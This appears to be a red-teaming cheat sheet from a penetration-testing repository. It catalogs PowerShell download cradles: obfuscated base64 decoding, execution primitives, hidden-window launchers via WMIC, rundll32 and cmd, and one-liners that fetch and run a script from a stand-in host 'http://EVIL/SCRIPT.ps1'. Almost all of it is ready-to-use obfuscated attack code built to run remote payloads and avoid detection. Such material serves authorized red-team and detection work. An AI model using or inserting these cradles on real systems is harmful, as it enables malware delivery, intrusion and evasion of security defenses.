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mgeeky-Penetration-Testing-.../red-teaming/Download-Cradles-Oneliners.md

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2020-05-07 01:43:03 +02:00
### Download Cradles
#### 0) Extra goodies
- Obfuscated `FromBase64String` with `-bxor` nice for dynamic strings deobfuscation:
```
$t=([type]('{1}{0}'-f'vert','Con'));($t::(($t.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke('Yk9CA05CA0hMV0I=')|%{$_-bxor35}|%{[char]$_})-join''
```
- The same as above but for UTF-16 base64 encoded strings:
```
$t=([type]('{1}{0}'-f'vert','Con'));-join[char[]]([uint16[]]$t::(($t.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke('MAA7ACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUA')-ne0)
```
#### A) Powershell Code Execution primitives
Phrase `(Function).Invoke()` may be rephrased as: `&(Function)`
1. _Scriptblock_:
```
[scriptblock]::Create('Get-Service').Invoke()
```
2. PS1.0 Invoke
```
$ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|Where{$_.Name-ilike'In*'}).Name).Invoke('Get-Service')
```
3. Get-Alias:
```
&(DIR Alias:/I*X)'Get-Service'
```
4. Get-Command:
```
&(GCM I*e-E*)
```
5. Powershell Runspace
```
[PowerShell]::Create().(([PowerShell]::Create()|Member)[5].Name).Invoke('Get-Service').Invoke()
```
6. Concatenated IEX:
```
&(''.SubString.ToString()[67,72,64]-Join'')'Get-Service'
```
7. _Invoke-AsWorkflow_ (PS3.0+)
```
Invoke-AsWorkflow -Ex ('Get-Service')
```
#### B) Powershell Payload Download primitives
1. Invoke-RestMethod (PS3.0+)
```
('http://EVIL/SCRIPT.ps1'|%{(IRM $_)})
```
2. Obfuscated `Net.WebClient.DownloadString`:
```
$w=(New-Object Net.WebClient);$w.(((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('http://EVIL/SCRIPT.ps1')
```
3. Net.WebRequest:
```
[IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse().GetResponseStream()).ReadToEnd()
```
4. `Msxml2.XMLHTTP` COM object:
```
$c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);$c.Send();$c.ResponseText
```
#### C) Operating-System Launcher primitives
1. WMIC:
```
WMIc "pROCESs" cALl crEATE "PoWErSheLL -WInDowstyLE HIdDEn -NonINTErA Get-Service"
```
2. Rundll32 SHELL32.DLL,ShellExec_RunDLL
```
RuNDlL32.exE SHELL32,ShellExec_RunDLL "POWERsHeLL" "-w 1" " -NonInter " "-CO " "Get-Service"
```
3. Cmd + set VAR && Powershell iex VAR
```
cmd /c"sEt sqm=Get-Service&&PowErsHeLl -WinDoWstY hIDDeN -NoniNtERActi -coMmand .( ${E`NV:Com`sp`ec}[4,26,25]-JOIn'')( ( ^&( \"{2}{1}{0}\"-f'm','eT-ITe','G' ) ( \"{1}{0}{2}\" -f'v:S','En','qm') ).\"vaL`Ue\")"
```
4. Cmd + Echo | Powershell - (stdin)
```
CmD.exE /c" ECho/Get-Service | PoWeRsheLL -nOninT -WindOw hiDDe -ComM (gcI 'vARiaBLE:eX*xT').vAluE.InvoKECOmmanD.InVOkESCript($inPut )"
```
5. Cmd + Echo | Clip && Powershell iex clipboard
```
cmd /C" ECHO/Get-Service|cLIP&& POweRsHElL -Windo hIDd -NONINTe -St -ComMaN . ( \"{0}{1}{2}\"-f'Ad','d-',( \"{0}{1}\" -f 'Ty','pe') ) -AN ( \"{0}{2}{4}{1}{3}\"-f'P',(\"{0}{1}\" -f'a','tio'),'res',( \"{0}{1}\" -f'n','Core' ),'ent' ) ; ^& ( ( [sTriNG]${ve`R`B`oSepRE`F`eRENce} )[1,3] + 'x'-joiN'' ) (( [WInDoWS.cLipBoARd]::( \"{1}{2}{0}\" -f't','Get','Tex').\"i`N`VoKE\"( )) ) ; [Windows.Clipboard]::( \"{1}{0}\" -f'ar','Cle').\"I`Nv`OkE\"( )"
```
#### D) Combined Download Cradles
1. PowerShell 3.0+
```
IEX (iwr 'http://EVIL/SCRIPT.ps1')
```
2. Normal download cradle
```
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/SCRIPT.ps1")
```
3. Download Cradle combining _ScriptBlock_ + `Invoke-RestMethod`
```
[scriptblock]::Create(('http://EVIL/SCRIPT.ps1'|%{(IRM $_)})).Invoke()
```
4. `Msxml2.XMLHTTP` COM object with Scriptblock:
```
$c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);$c.Send();[scriptblock]::Create($c.ResponseText).Invoke()
```
5. Minimized `Net.WebRequest` combined with _ScriptBlock_ execution:
```
[scriptblock]::Create([IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse().GetResponseStream()).ReadToEnd()).Invoke()
```
6. A bit obfuscated `Net.WebClient.DownloadString` with Get-Alias IEX variant:
```
$w=(New-Object Net.WebClient);$w.(((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('http://EVIL/SCRIPT.ps1')|&(DIR Alias:/I*X)
```
7. Obfuscated `Net.HttpWebRequest` with _Get-Command IEX`:
```
$h=[tYpE]('{1}{2}{0}'-f('pWebRe'+'quest'),'Ne','t.Htt');$v=((((gET-vAriABLE h).vAlue::Create('http://EVIL/SCRIPT.ps1').PSObject.Methods|?{$_.Name-clike'G*se'}).Invoke()).PSObject.Methods|?{$_.Name-clike'G*eam'}).Invoke();$r='';Try{While($r+=[Char]$v.ReadByte()){}}Catch{};&(GCM *ke-*pr*)$r
```